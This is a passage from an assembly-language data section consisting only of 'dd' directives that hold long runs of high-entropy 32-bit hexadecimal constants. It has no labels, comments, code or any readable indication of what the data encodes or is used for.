43607FB0h, 82E5F18Fh, 0B32C4FA1h dd 0C266695Bh, 0C4E7FF3Bh, 5D426016h, 0A21D7E68h, 0E1CCDDAh dd 56F4F009h, 60B674CCh, 732D281Eh, 277A4377h, 46FF3537h dd 87BED304h, 0BE28A37Dh, 0FC449D2Dh, 2DF46885h, 85A793F6h dd 56EB0CA9h, 8242E267h, 5E777068h, 39EAE2EBh, 8F0B9B08h dd 69A5549h, 0AA31D256h, 55C2111Ah, 775A465Eh, 21698140h dd 57F7723h, 45575868h, 0D874B185h, 541EA9E7h, 0D31628B5h dd 5EBBD00h, 2F2E6855h, 354C4711h, 0DEE9530Bh, 88965993h dd 7E326873h, 4E51555Bh, 53F325h, 30604A99h, 2D50E801h dd 9325E907h, 0BD2D4EDBh, 9C2748A7h, 5F4EFA5Dh, 0DC509ACAh dd 91144E49h, 1488D03Ah, 131216F0h, 0F1359851h, 847F389Ch dd 0DDAA8440h, 581F829Eh, 0D31B2268h, 1BF62FAFh, 0F588CFE4h dd 0B685400Bh, 60B50303h, 833EED80h, 0ADC5ABF5h, 9ECB083h dd 5DB0E95Dh, 57131EE5h, 0A95E2AA3h, 0E9FB096Fh, 8412421Bh dd 61445965h, 884218CDh, 5DFD2711h, 7E5D29DDh, 5F0F3FC0h dd 0C2647D0Ah, 15BCBA58h, 0A89320E4h, 63639643h, 2D75D2E6h dd 20D55928h, 0B977E9ABh, 3587759Ah, 0BEC3D652h, 16BAEF42h dd 0D00FFE3Ah, 8B9D5CE9h, 5A4CF6A2h, 961DDE77h, 0E99256B7h dd 6B1E0560h, 46AE7B6Fh, 20EB6AF3h, 9BF5202Fh, 0EE86ED9Dh dd 59BA1354h, 19609A6h, 0DCFCEA58h, 272B3C3Ch, 832CD829h dd 0E9430908h, 0F3778FE4h, 77BE3019h, 0E1ADB2Ah, 101CFB29h dd 0AAEEE908h, 0F598DFCCh, 0AC93D3F5h, 926F5200h, 132F684Dh dd 0A6588B84h, 0A6011D4h, 6CD3CE2Fh, 743AAF42h, 0CE744F35h dd 8704E04Fh, 1FB4511Dh, 2532CE81h, 0F870416Bh, 840F8035h dd 9EA9D02Eh, 65F201A5h, 0F120264Ah, 8436508h, 625CAE06h dd 5F5125C7h, 3CF3C12Eh, 11211301h, 6405EA42h, 4A56608Bh dd 0CA6746Fh, 932DBE04h, 47EA5DACh, 0F7F3F69Ah, 60DF6B10h dd 91193C6h, 6BE95F06h, 9729DDC1h, 4BAEEE1Ah, 85D55A26h dd 7C24E3Dh, 0DD35580h, 97394DA5h, 5F204916h, 2F0896D7h dd 81A11D8Fh, 45D737FFh, 6C05FFE1h, 8EEF2A79h, 9A0117F2h dd 6C2029BEh, 0B5FA9200h, 0E90A8B70h, 509AD09Bh, 2CC5825Dh dd 58DBFDBh, 0AF292868h, 0FE2C3BDDh, 12F3EAA5h, 63E14125h dd 77AC3A59h, 0BBC5B2CFh, 0D13DCC11h, 0A835E80Fh, 0C372AB2Eh dd 61EA8D20h, 339FA4B3h, 43680789h, 3029075Fh, 0B5DEF746h dd 1B12E478h, 9C0114B4h, 6AB53416h, 36B3B747h, 260D0535h dd 7F7C31Dh, 0CA15CFE1h, 0E9CE03A9h, 6A5B20BCh, 54091EB0h dd 0BEFE501h, 60505A7Bh, 8A0137Eh, 2B625B4Eh, 2653D4E8h dd 587339B7h, 0BA178CC3h, 0DEB5E8C5h, 1E0E884Bh, 0C050FE19h dd 0E01278CAh, 8C0BB801h, 0A7FE1FEDh, 0BFC4E921h, 2665A9D1h dd 0C5442312h, 8CF8E177h, 32F423C4h, 0F0D2844h, 0A93C695Ch dd 8059D7B5h, 8CA365C4h, 12254A4Ch, 826935F9h, 793B15E7h dd 57BB00E5h, 29558622h, 26FCD84Eh, 0D89DDAB6h, 58419D10h dd 7955D2F1h, 64D9CB16h, 0B05EC409h, 270139F8h, 64766EB4h dd 0FEC70440h, 56E9164Bh, 324FA488h, 0E34F4540h, 5E60A02Bh dd 11A7CE5Fh, 68D23102h, 54AF4686h, 0AC01F905h, 19D3C56Eh dd 0FFECA649h, 492CCAC6h, 0F4168FEh, 0F5CAF459h, 0CBE04CDAh dd 1289B2BEh, 6671FC0Bh, 34B055B9h, 0C7037595h, 0D5E9EB01h dd 1DD85540h, 833C8738h, 8EEFE728h, 0E9090854h, 0DDE60C33h dd 1D141700h, 68BE560Fh, 0D55C481Eh, 574C51Ch, 0EE296208h dd 8113184h, 2F5F4C84h, 0DF1442CBh, 660B2765h, 20AFEE6Fh dd 512E44BDh, 0E4442558h, 3E7ABF40h, 0D0B74BCDh, 1CC2C75Ah dd 55327086h, 2EE5FD89h, 0D01E230Ah, 1CF8180h, 901C4E0Bh dd 43E747Fh, 1DE96FACh, 0B2CEBBD6h, 9D784C50h, 0BA81233Ah dd 70B1514Bh, 85A65CDh, 60197728h, 49F1A9DCh, 810264FDh dd 615E98F7h, 45F45F17h, 64C10217h, 417980B1h, 402CBD12h dd 127A42ADh, 609D5E25h, 60905F75h, 847C804h, 0D4A02893h dd 800BE53Fh, 7BFE3107h, 25E90116h, 3B705465h, 809F494h dd 0F018DD5Eh, 0B06014E9h, 11A3C6E7h, 89BF1FA6h, 0DEB647F2h dd 7751EBFEh, 54CB7AC2h, 0C40B6EE8h, 0D02D64D1h, 0AFFE9F88h dd 96D701D0h, 5B9AA033h, 0A70CB879h, 0DDD376C2h, 1854133Ch dd 0AB3ABBB7h, 0E86CA57Dh, 81F8CE7Bh, 5F407459h, 1E3E7241h dd 0AC4409E0h, 71CFFDB0h, 0AC79C795h, 0EA95414Ah, 74E02DFEh dd 1F88D096h, 0A31627D9h, 50AA4CB5h, 48C7150Ah, 277A5758h dd 3FD46173h, 617C25FBh, 7C20C566h, 40BF0527h, 0B86A8F5Fh dd 805C25E1h, 78CCB9EFh, 0C1613DBCh, 88040BC9h, 0A8061BC7h dd 565880h, 71A044A7h, 48DBF743h, 653D3852h, 8C0FD26h dd 923A18ADh, 0BEF4D8AEh, 0D654169Bh, 9327F830h, 0C41DCB8h dd 0B9E9D89Eh, 4098DB18h, 0F54FF680h, 14CE35E0h, 0A8E6C085h dd 0F9994717h, 0C0FA4A6Ch, 0E452D5A1h, 0D88A4360h, 2407EC37h dd 89BFE09h, 680505C7h, 86E32779h, 2CB4AB10h, 0FD266431h dd 0FB2FB926h, 0B4680E12h, 82BB3553h, 0D60CDEA8h, 7D710086h dd 0D5CB8118h, 81BD3C07h, 4FFA90DCh, 5E436230h, 31CDCA23h dd 0D0F70B47h, 60050481h, 0F9F590E7h, 2E97BF40h, 62726D1Ch dd 664D41Bh, 2DD4D2E9h, 42F481F4h, 6D833518h, 5F9C711h dd 0E96EA333h, 785AB1CDh, 0AEEA715h, 3FE35216h, 42325405h dd 0AFD741C8h, 8F7274DEh, 57BED329h, 11DCAF8Dh, 0A60A7468h dd 25659C9Ch, 0EFD52A09h, 417C08BDh, 6C50B900h, 0BBD0848h dd 398A0547h, 0C5742077h, 58070A90h, 0F896523h, 0F75A8E7Ah dd 4FFCDE44h, 7B685F07h, 26BFB7F9h, 0C6B49D64h, 0BA9298FFh dd 0B7257509h, 2F67D60Ch, 0B821B72h, 5A709542h, 64FC749Dh dd 5C70D271h, 13407A89h, 733D57BFh, 0D8ECDA2Dh, 0CEA925E2h dd 8D98B876h, 2F504E06h, 3CF8F888h, 1AEE5B4Ah, 0B4820813h dd 0D20AB546h, 6D5F1104h, 3D2AE8AEh, 0D9F10241h, 5C144860h dd 49032FEBh, 2ED8E0EAh, 6813585Ch, 2AB87134h, 2CC1EBCDh dd 0BFAA20E7h, 0B9B8F000h, 5A5ED561h, 0F713B1B9h, 4AF3F65Eh dd 91044DACh, 0BB077457h, 16D84288h, 0EC6ECF49h, 6A2502D9h dd 5852E93Dh, 77BA0E23h, 9E1B3C7Ch, 183B0C38h, 5A5FD021h dd 6F6A2468h, 45F868DCh, 0D0E04BA5h, 2DC56900h, 597BE828h dd 0C129F47Fh, 0B8018FADh, 2912A80Dh, 809E454h, 7284555Bh dd 0A817AFFFh, 4A988EAEh, 53858CAAh, 18EE927h, 8E5C156h dd 4406F882h, 2044391h, 98DCCDAAh, 81195EC6h, 506B79CEh dd 4F4A82F7h, 7854F27Dh, 895CF832h, 1CDE57EDh, 5FD7724Ch dd 82BA85E7h, 185D8DDAh, 9DE443DFh, 17681990h, 38CE7412h dd 0DF48F2C0h, 0E5234C67h, 0F2804648h, 0FCD83340h, 8BF579Ah dd 7212CB69h, 8C864BF2h, 0E230EF26h, 4F043E08h, 0A1F74E78h dd 99CA3BD1h, 0DC5EE905h, 0CA28ABFEh, 9642568h, 0D582A7D1h dd 0E0489537h, 26259B4Fh, 0BC7241FEh, 4B5C0227h, 0F0E1C30h dd 2963098Fh, 0A0D55FFBh, 2567D247h, 0F8595A19h, 0C209A0E4h dd 53E826E9h, 0B356ADD8h, 0C6DB4C27h, 92143916h, 5DEE310Bh dd 6429004Eh, 0EE441719h dd 12084EE9h, 1DF6BE11h, 0ECF6E9C2h, 5FA531D9h, 0A984AA94h dd 59CE4E5Fh, 9C483246h, 57563A17h, 7A9DBD4Bh, 0E61EDA2Ah dd 13DCEE1Dh, 280C67D8h, 0BA5D2DBCh, 7B3752E8h, 0B7150B2Ch dd 5E1707A0h, 10B16EE9h, 4E6ECE3Ah, 0E2F56DE8h, 20A92508h dd 5848F276h, 0E7C57BB5h, 1766EA74h, 0EC4AC968h, 0D4A0F057h dd 212B4FEh, 1FB01B19h, 300804DEh, 0EA290622h, 38F0205Dh dd 81427000h, 2A1EF5F7h, 90F9048h, 7586805h, 0E33E1646h dd 29799043h, 0B161EC93h, 0E94EF041h, 15D0257Dh, 4C696866h dd 1BB35DA9h, 6FD6E29Ah, 81413258h, 0A3A7205Dh, 0D5F5E295h dd 0EF08E75Bh, 68570092h, 416B1B35h, 0FD68F4B1h, 85AA8808h dd 0FB373868h, 0AF9761CBh, 8860839h, 8453B8B5h, 5E8D3E20h dd 2C041658h, 41975C0Ch, 247A75C5h, 0A5E0BBC7h, 69F89D5Fh dd 2FEDC980h, 507A570h, 4C5326E9h, 0DC10F8E5h, 5F5F8B08h dd 50A400E5h, 3544A000h, 586966A9h, 93031417h, 2928F114h dd 88378B6h, 0CE98AE7Fh, 3D22A726h, 53350Bh, 63257D71h dd 0BD975018h, 1E3BA16h, 0E8C0C8FEh, 70792C05h, 0E9EA56Ah dd 0EB095A60h, 0D3870D39h, 6008DAF7h, 0F3C0B996h, 8C1C64C1h dd 4003985Ah, 0F72E4929h, 2B0313D9h, 7A664339h, 50D2003Ah dd 0C8108468h, 0ECB0580Fh, 5D3405BFh, 4CD4F3BAh, 10EC5E9Fh dd 0AF3B5F4Bh, 8350F009h, 80C7FE07h, 86D2F9E7h, 367AD590h dd 529D22F0h, 79F59864h, 27A9C183h, 41074360h, 7E6190EEh dd 4F01E6C8h, 48B89CD7h, 0F6E31965h, 0C0CEBA04h, 0A84F82EBh dd 0CABB6DE8h, 64105C13h, 6AC8B307h, 43EF6094h, 3F366E82h dd 4581AA94h, 0D36BDF3Bh, 9AE1D767h, 10225Ch, 2AAA7AC7h dd 18FA310Ah, 0C1ABB9E9h, 0EEA003EEh, 292818BBh, 0C23BFC4Ah dd 12C0B41h, 0E8B0FFF5h, 0FBC954E9h, 0F14E6849h, 0CC661FB8h dd 1AB6C921h, 9EE9CE55h, 0A6D62F33h, 15100BC3h, 94E2E11Dh dd 0E3843759h, 62133516h, 0B9812285h, 0BCA7FED2h, 9EF7A760h dd 3ED10917h, 0F6094EACh, 0A822D836h, 0B582EA83h, 98DF135Ah dd 82377067h, 2049AA4Bh, 3CAE4F45h, 910968F1h, 41490528h dd 9B2A511Eh, 601239Fh, 60D9D8E9h, 9C9E196h, 9654CEA3h dd 0F27A0905h, 2012477Fh, 28AB01E7h, 6BE91EBEh, 5F16BC22h dd 498065C1h, 61C1746Fh, 23137DC5h, 659650BEh, 35367700h dd 11E50558h, 0E93B0CD4h, 68288984h, 8D5F8B2Ch, 0E4032F6Ah dd 0CC272B6Ah, 81DEE902h, 748FB86Bh, 0B989A0AFh, 49240B03h dd 8925050Fh, 0D3FC28C6h, 0A2FE4BDDh, 0D06B2D22h, 8A5C4A8Eh dd 0D3BC4A59h, 1130FAB1h, 0A3894DDAh, 25E48F3h, 0F47C00C9h dd 0A0653C49h, 255F0298h, 0C98033A4h, 9539E2EFh, 0CC0C82F7h dd 0D5121FB3h, 80FE00Ah, 5E00B963h, 610DE8D1h, 29B1003Ch dd 0B83A6C2Dh, 8F09051Bh, 0D5EFF87Bh, 17049102h, 6F549299h dd 46180A21h, 0C439FB04h, 0E553BA2Bh, 0D1E696C9h, 3EC025DCh dd 5007764Bh, 20478F7Bh, 0A3A77A7h, 5DAE892Dh, 560EB96Fh dd 55162968h, 0B981D0C5h, 8153766h, 0D9C31E7Fh, 2E5BC3DEh dd 8D6602E1h, 0E681BCD3h, 0D5FE95E4h, 2A3940D2h, 16193B2Dh dd 0A01E600h, 0D6F767B1h, 3A46815h, 4DBB0A55h, 5C27EA39h dd 250271Bh, 3B23D148h, 2EF32654h, 31BC7DA5h, 35E5748h dd 515859DFh, 0AD13B9BFh, 20E84292h, 441AF1C4h, 762BE52Fh dd 77784009h, 25B8F6BEh, 343DE841h, 3BC5989h, 4A094C9Fh dd 7B60EB0Ch, 9299BD55h, 0EE012C6Eh, 66DC2D15h, 74E13816h dd 538275C2h, 1F60641h, 0ECD08061h, 8692807Fh, 0D662F6F4h dd 7443E908h, 1BB0BA0h, 0AD25C9C4h, 1735180Ch, 664F3028h dd 0E83BE582h, 0CD873D0Dh, 0A1000641h, 0A0445851h, 0BF219AB8h dd 62740E92h, 8AFB5996h, 0E9950Ch, 1AE32D5Ah, 0B80148BCh dd 92078206h, 5B87C161h, 27C88A6Fh, 0D424A2F5h, 0F28101D2h dd 2873D49Ch, 16F17495h, 29694F23h, 0D6C80B12h, 4BCFD5D6h dd 882AC136h, 0C03CB160h, 68D0296Dh, 49952E82h, 0AA04F4B5h dd 0D21212A9h, 0B7BAF828h, 51C845D2h, 0EA5F8853h, 0D62D4D2Ch dd 34B602DAh, 875D1670h, 304CCB44h, 100CCBADh, 0DA6BBBFFh dd 5A6EC966h, 9B70EE2Ah, 4A11E9CBh, 48B5F2D7h, 0B217241Eh dd 5E5613DAh, 52F9C830h, 22E4FD98h, 5847CB13h, 0BC7912EBh dd 0E024251Ch, 0EEB65221h, 26F45988h, 8577259Eh, 81AB0701h dd 0EA203257h, 0B2525300h, 2DE9F6FCh, 25C85905h, 55583414h dd 0D2971315h, 4B136F64h, 0E50313E9h, 686609EBh, 1A44F5F0h dd 2A143024h, 0C001C301h, 413F3117h, 7FE95690h, 0ACE77E3Ah dd 0FC278922h, 2F705262h, 0DFE4F53Bh, 54A8EFCh, 0C6AEA756h dd 76B50C33h, 6858023Fh, 455F2332h, 57E9097Eh, 8078F4C3h dd 0B788F440h, 6C45C1AFh, 2A02BD0Bh, 0BABDF325h, 0ED85546h dd 716889B5h, 0F0D3CF2Eh, 0C9B45941h, 0B7337F8Ch, 5F130ECFh dd 157564Fh, 5D52AE81h, 2DF2287Ch, 7161D050h, 95C1747Bh dd 0EA518B5Eh, 0DBC28E81h, 2E07794Eh, 5FB343C1h, 55266923h dd 0E7173844h, 0FA1925FEh, 0CF208687h, 0EFD7F659h, 40CE5870h dd 0D90168C6h, 5D47E424h, 6481E5C1h, 1D0725EDh, 0C577611Fh dd 9FC42E69h, 54348FBAh, 0E0286243h, 899745FEh, 0DE907F73h dd 0D76BE5E9h, 9AABF744h, 0C3871F07h, 3802CD37h, 1D559068h dd 50D8E867h, 0D2059054h, 5890F270h, 3B054EB5h, 0FFC0CA87h dd 1C9B639Ah, 0B1926817h, 149506Dh, 4E365954h, 0E705813Fh dd 0F5691027h, 40805D7h, 8DB6B977h, 9349E0F2h, 20145BBFh dd 0D46802D5h, 5F4C5E30h, 0F73AC85Fh, 0B90218CAh, 717F0C11h dd 7F5E083Eh, 747E8D01h, 2821E936h, 3D394EA6h, 3A661583h dd 0B2E91BAh, 6D0C4C29h, 4417376h, 81549B47h, 66FEC0CAh dd 46D25071h, 43E3954h, 0D3DB3839h, 163BE6BAh, 248612E9h dd 55021EA0h, 0F4F08951h, 7F103AD5h, 294ABFE6h, 0BBED6E85h dd 0C773E9A0h, 7CE692BDh, 255080E3h, 0D30128EEh, 382152C0h dd 5AF70565h, 33FD82DFh, 0C6A2C720h, 52B509A8h, 867FFA89h dd 0C1A5F92h, 56AB676Eh, 3505BE0Ch, 0F72943A6h, 6808A310h dd 5E02140Ch, 0F7583968h, 0DBBD2B1Eh, 0C042137Fh, 0CD215EB1h dd 0EDC15909h, 60558008h, 5D38B511h, 0A54EDF55h, 2BE131B5h dd 0A9BDF817h, 83AEC38Ah, 79109D2Dh, 4190F84Ch, 2FB01907h dd 0E611CEE6h, 561C270Ch, 2E685987h, 0E90B91FCh, 9AF66B5Ch dd 4B474B52h, 10D2CE62h, 0B05A572Dh, 41BDB13Dh, 0A27AFE5Ch dd 3525960Dh, 17019FEDh, 0E9BF60ECh, 497CD247h, 0A4EA66E5h dd 0CB625EBEh, 62C82952h, 3BF8D7E4h, 12E92D4Eh, 1370B84Bh dd 0A1A2AEE2h, 0E6F9BD9Bh, 0EB717E17h, 6D64D8F7h, 0B1840C05h dd 4A62D698h, 38C71512h, 0C25D5CEEh, 727F5031h, 36A457C0h dd 7735C827h, 7DC99900h, 1876CB56h, 92F9E13Bh, 0D5B1575Bh dd 0C102ECE8h, 64F980Ch, 0FF16005Ch, 25F37BCBh, 8F658D79h dd 8226599Eh, 6CD37569h, 4FB4FE12h, 29CA40D0h, 5D2DE866h dd 38A74E16h, 0A5FF881Ch, 0CC425730h, 3ED1967Dh, 80CBE954h dd 5D9FBE11h, 520EBF13h, 0C52D1202h, 320CC029h, 70632614h dd 2D4178Ah, 0B8E969D7h, 0D3E878D8h, 28B2E00h, 0FC15E20Dh dd 161EC941h, 10C9CA71h, 97F46E81h, 439364D9h, 0CD301BF0h dd 8B0632DCh, 82D6F60Dh, 0DD3CF004h, 14AAF490h, 0F910B8Ah dd 5CC845E5h, 0C38B355Eh dd 15638452h, 0E56AD2C9h, 0AF492E1Bh, 2FD6FCC3h, 7DAD135Fh dd 5BF6A360h, 9F7FF21Ah, 0DA57D892h, 47300BABh, 0CCE7BD03h dd 0E27F7AC1h, 6AE9A180h, 0E3803B6Dh, 6B615C1Dh, 0D52CF200h dd 0D731B485h, 0F5055A27h, 0FA33378Eh, 8CC441C4h, 0BF2E12FBh dd 0CFB27837h, 0FFD589C9h, 4312D710h, 0FFCD7A51h, 0B8750BDFh dd 17595350h, 13D3F75Bh, 1377A956h, 518D71ACh, 1924BA2Eh dd 9C6E0CEEh, 0C092DFDh, 8E0AC80Fh, 0DD4FA0BEh, 5EE94769h dd 0F6DC00B4h, 16F180D1h, 0B944CB90h, 137F9544h, 61BE9D4h dd 16E68A2Eh, 8A6151D2h, 0AF2A6DEBh, 0EC5C1B22h, 0FDE49DE6h dd 1D185260h, 46E3F2Ah, 4219D6BAh, 73FEA8E8h, 0C35328F1h dd 9481E6D1h, 40D9F080h, 3B3127E9h, 1734872h, 0A593CE3Dh dd 5D25E108h, 56C0A361h, 5C2EC9B9h, 6E05ED41h, 0A0D41AF2h dd 0F192F420h, 0F5669D1Eh, 815EF8ADh, 13605F07h, 60C0BEF8h dd 34D2131Fh, 782687B5h, 0D0EE4935h, 659CC174h, 841EEC3Ch dd 0B23BE9CAh, 50B44A9h, 22023422h, 5E046A4Ah, 139AB5E2h dd 555175C8h, 0A4685602h, 0E06CD467h, 974A1348h, 0F52D68FBh dd 90DD1812h, 2A685025h, 69C155EBh, 22D8375Dh, 0FEF59610h dd 99296E17h, 0CDD68285h, 0D51A374Bh, 0F14C0D04h, 0C3E0813Ah dd 2EEF1865h, 0B2F85121h, 9E14B5B7h, 0E28773A1h, 0D340797Ch dd 244D471Bh, 0AD8678E9h, 5712FB56h, 99F1FBFh, 0C551A570h dd 5ECA0BCh, 0A2582B35h, 0F510AA2Ah, 23321DB2h, 79FC8FEh dd 3DE76BE3h, 8F72CDF7h, 0CF295758h, 350E16C0h, 817ABA00h dd 1A432BF6h, 257AB437h, 9522D874h, 77AEBF8Eh, 8AF23E34h dd 659EDB81h, 0BD90BA6Ch, 93155F05h, 1C32A8C4h, 0F9EA26E9h dd 78F7E107h, 0CDB7257Ch, 0D1680458h, 0C077F85Ch, 1D5E6D31h dd 26C60581h, 811AE125h, 8448C9F0h, 8C94E9FEh, 5EE67B89h dd 0A37A4E3h, 0A05B09DEh, 0FECD2786h, 0BF58465Dh, 0AA9C14ECh dd 9F986858h, 430C25A9h, 251316Ch, 0DCA33AC5h, 0BB0CE9C2h dd 2EF12469h, 7168ACE4h, 4ACCB525h, 0DA06D697h, 8CD253F5h dd 0B7C4C768h, 604E9A77h, 0E9A8C717h, 7FF7EBA4h, 120A841h dd 72670559h, 0BC40E93Eh, 0CE985E92h, 41602D68h, 0D1251753h dd 17736250h, 0CD887E65h, 50436C1Dh, 674A84F8h, 72748ED1h dd 0D03FBC7Fh, 89598F22h, 5C4184E1h, 0BBF684AAh, 26DCD3A2h dd 0CEBEA73Ch, 3A1AF795h, 0C2CADE55h, 9EF88DE9h, 9466C9A2h dd 86AD5B5Fh, 49047848h, 0FA2A20BDh, 854CCCCEh, 163ECD05h dd 9EA4AB6Dh, 21EEB0ACh, 243F6E0Ah, 5493DB82h, 91B610A8h dd 0E69C402Fh, 0D5F92A9Bh, 0AACB4A83h, 4157B062h, 0AD2BE0C0h dd 90E09253h, 27063B2Eh, 54ACE909h, 268B1874h, 0A103532Ah dd 100D8A41h, 82B464BCh, 8F5AB3D1h, 729DE57Bh, 29610CE4h dd 5B0C075Eh, 0B33E2A16h, 5362F8ECh, 8BD5F1E9h, 0A3897D67h dd 1272D87Ch, 76CE55EFh, 0DD1FE92Ah, 9741F097h, 23B7FC00h dd 0FD970CDBh, 3841CD3Ah, 7D19E466h, 2A446BDh, 7A3F45A5h dd 0B7727E9h, 0A9CD55B4h, 742F508Bh, 80EF6464h, 7468D49Ch dd 0D355C00h, 5702730h, 6EF112DAh, 0E93D044Eh, 7AE4EE71h dd 1A44124h, 2FF015D1h, 0EAE735BFh, 0A528ACD1h, 5B637EF6h dd 2AAC4FF1h, 8789DDA3h, 382DFB7Dh, 1AED5725h, 5F9D7DA2h dd 0E92D1E36h, 0B5245872h, 75C04BEEh, 76EB815Ch, 49BD2765h dd 9420A1E5h, 0ED5AFB03h, 9028BA44h, 58297340h, 0F2014DC2h dd 89719BCh, 0DEA06A09h, 7BA80CF3h, 70586FB9h, 16D2850Bh dd 4E50253h, 0EA890355h, 0EFEDABBh, 5E3AE29Dh, 3931C2DBh dd 77672F76h, 2B80948h, 5988D11Bh, 8ED45852h, 4D8E0B15h dd 3E81F746h, 20014FA1h, 0DF09CBF6h, 686B2A51h, 711DF39Dh dd 0B089B0A4h, 0D1584EC4h, 398CC3h, 0E1052668h, 8929AC2Fh dd 5EE32979h, 561401E4h, 6F05D08Dh, 2DE917B4h, 3AD795DDh dd 5D926000h, 0F9FBC94Dh, 26B47B46h, 0A2C0D62Dh, 982B2018h dd 46CCA280h, 0E00C0A2Fh, 6F7A336h, 23E9B145h, 0C701259Ah dd 0FB0E1A22h, 3C6FF831h, 0AA5E686Bh, 0C251845h, 3BE527BFh dd 5F27BA75h, 5C2DC73Ch, 20464466h, 6839C3D9h, 29FB4AFCh dd 697840EBh, 6116B373h, 2431CE9h, 0BC6F095Fh, 483386E4h dd 0A0D2D219h, 0D84DD7F9h, 0F02562E5h, 0AB5D043Ah, 8C54A2CBh dd 0FF80B723h, 1ED8359h, 0F7DD8702h, 0F45355D3h, 0AF50709h dd 0C4BDB5A7h, 30E0EBA8h, 0C3DCED01h, 910BF5Bh, 90171CDh dd 16520521h, 107E318Ch, 614F07EAh, 5D1FE38h, 0D476AF82h dd 0CA165AEEh, 5A1AFA38h, 52E170FEh, 31664BAh, 13BA346Ch dd 0FA1A277h, 744C5371h, 2AB5BFDh, 30C0E933h, 7EAD5E8h dd 84BF47F0h, 21FF664Dh, 4C3035Fh, 0CBE156D9h, 0F422817Ah dd 0F2E9D828h, 7426ADF9h, 0E51927AFh, 33903F05h, 20BBF57h dd 0E911215Ch, 6C75DE9Ah, 0BF0F4ED2h, 5CA8968Ch, 5A72E1Bh dd 0EE6583C8h, 75EF1B25h, 0CF29E3E0h, 0AC9710FAh, 480EA82h dd 892E8C65h, 811E84F8h, 45625D0h, 74ED5FD0h, 552B3E2Dh dd 0A3BCDC96h, 4AEB59C6h, 96628AAAh, 0D55971AAh, 0CBEB2202h dd 63B4755Eh, 4B20B886h, 555E00C2h, 51BA6852h, 34FA4771h dd 0AAF7F44Eh, 84CEF85Fh, 3107365Ah, 0FA1273CAh, 16BB2C58h dd 5FF7656Bh, 4EF9B610h, 0E3EB6CC1h, 66896BFDh, 4FFA0F14h dd 68CFCC0Bh, 386F6E1h, 0C236005h, 71D2879Dh, 306D5831h dd 0A390BA3h, 20A04AABh, 0B8E85C29h, 0C1E20B41h, 0F43F5D1Eh dd 2E4F2057h, 91680020h, 6D97C447h, 482396CCh, 66C40504h dd 0A1947ED7h, 5C25071Fh, 62D5A56Eh, 0DF96DFC3h, 427EB10Bh dd 4BFF7219h, 80C4C07Bh, 0DCB56DEDh, 0C30CCFABh, 349FCB4h dd 29EB18B3h, 0B12A5497h, 1ADC04C2h, 0F677C0FCh, 8A0A6A8Dh dd 0EEF52144h, 67F08E39h, 0EF89C42Bh, 63F069BCh, 3DBAB488h dd 8635480Bh, 0D3427568h, 565F0802h, 89689877h, 5F4DFEDEh dd 91F8A6C6h, 66F84AA7h, 22C51BE1h, 0D4331307h, 0C8689A31h dd 70197FE6h, 31BF2E92h, 26AA50F2h, 146C58D4h, 80895CECh dd 745B61EBh, 69EE4CC1h, 0AF811C27h, 0CC77CF80h, 5013C0C7h dd 61F84DB4h, 78F97E70h, 2C5B1EC1h, 53C8C2AFh, 97F38B3h dd 0E750649Ch, 92D3EED8h, 5FD6C3A5h, 4DFDFF7h, 13D5E21Bh dd 2EFF4B51h, 4C63180Bh, 1654C32Bh, 0F7AB149h, 97A26F91h dd 17524B79h, 3D5FA10Ch, 71A32A65h, 0EEF55BBDh, 5780150Bh dd 0F3E80246h, 0FC9568BFh, 94D964F6h, 685700F1h, 3E216D4Ah dd 50735F45h, 40016E3Eh, 290025BCh, 351A9278h, 7F1F0946h dd 0A20E274Eh, 0BAC042F9h, 7E2A7D33h, 0AAE20523h, 452490Eh dd 4E3EC4EEh, 6C0896C2h, 96BD28D9h, 0A0809680h, 0EA02D106h dd 840FD039h, 68F8E821h, 0E900E573h, 289AA8E6h, 19DFA72h dd 0F021427h, 0E41A75CEh, 2D883B60h, 3544B02Ch, 0A04A371Eh dd 8D10DE3Eh, 5D85BF02h, 0D1C868B3h, 8182DDA5h, 580539A2h dd 2A20B461h, 8C6B022Bh, 5DEB8930h, 163144F5h, 0B467BBE9h dd 5A1DE7B0h, 0C98155C8h, 77F874ACh, 93E0C93h, 59842349h dd 3E20F31Eh, 9460B125h, 0DD3E136Eh, 7F06ECC1h, 7E23BBDh dd 630BE3D8h, 57CAC047h, 7660DC42h, 1B4EB8E4h, 509CB035h dd 4D22BD03h, 17161C08h, 0BE63617Eh, 2B202BC9h, 267510BBh dd 2BB7C19h, 54966D16h, 3E2AF85Eh, 9BFEE33Fh, 0B02218DAh dd 0BD101A3Bh, 307D6412h dd 957DBB38h, 0FDEB6959h, 0F4CA071Bh, 7FC0BD07h, 9D4D2E36h dd 201B87Eh, 1441E951h, 8113AE29h, 0FA6694EAh, 0E9C34DCAh dd 3E1DDB39h, 2C28BBAh, 0F7D601AEh, 5C556EBAh, 0E2CC58F2h dd 4BF951BDh, 0FC9889DDh, 7B652246h, 0B4BF245Eh, 119D832Ch dd 40D17E33h, 185C7AC6h, 169A430Ch, 52124A5Eh, 0A485ABFDh dd 74061ED2h, 0C9E59DBEh, 68FD4A7Ch, 12C608BAh, 0EE553541h dd 0C0562D9h, 5D2CCC8Bh, 20BD00D9h, 6817A16Ah, 0C62E152Dh dd 52161F3Dh, 0E75FE55Dh, 0E2B0975h, 0E2DDF0ABh, 3E1EF7C2h dd 0DD635451h, 22917B39h, 8A7BD98Eh, 0BF0717ACh, 22057853h dd 0AACA72EBh, 0AB684805h, 0E956413Ah, 2FFF9928h, 0A5B369AAh dd 0D47559Ch, 7C175FA6h, 0E9FB07ABh, 0BE4E4CFAh, 9D0B5AB5h dd 5853A9F0h, 0EBA68484h, 0BDC54A1Dh, 1E5116EBh, 0F480C021h dd 2E4C031h, 0D86060FEh, 41C4F6CDh, 0EC405ECAh, 32ED4EC4h dd 0AC184B76h, 0E205CCD5h, 18BEB070h, 264B720Fh, 7D8A82C9h dd 2CB68541h, 3CEB5E07h, 0A740E3F9h, 176A0FB8h, 0FB465DF3h dd 5F5B14AFh, 1AA11A53h, 13B12420h, 54D975Eh, 946CE9BAh dd 1358FACDh, 94940155h, 0A010531Ah, 29146532h, 24AA6DDh dd 51DAF619h, 407B9340h, 186520D6h, 78E4A085h, 0EF485B62h dd 0AC2BE26Dh, 40A4A731h, 655DE55Dh, 595F82ADh, 9D5FCE9h dd 5907DE1h, 8081767Bh, 366F6FCh, 3B75352h, 0FE80D7B6h dd 0F17C305Bh, 0C938DCC4h, 32F78101h, 0B210CB3Bh, 0B87452ADh dd 6C880BCAh, 0C8D72770h, 5BA16875h, 0E9A26064h, 0CFD5059Bh dd 0C5AB4AE2h, 5C2DEA5Bh, 88522BBh, 7E8015h, 43734508h dd 9864E97Fh, 90EF5E4Dh, 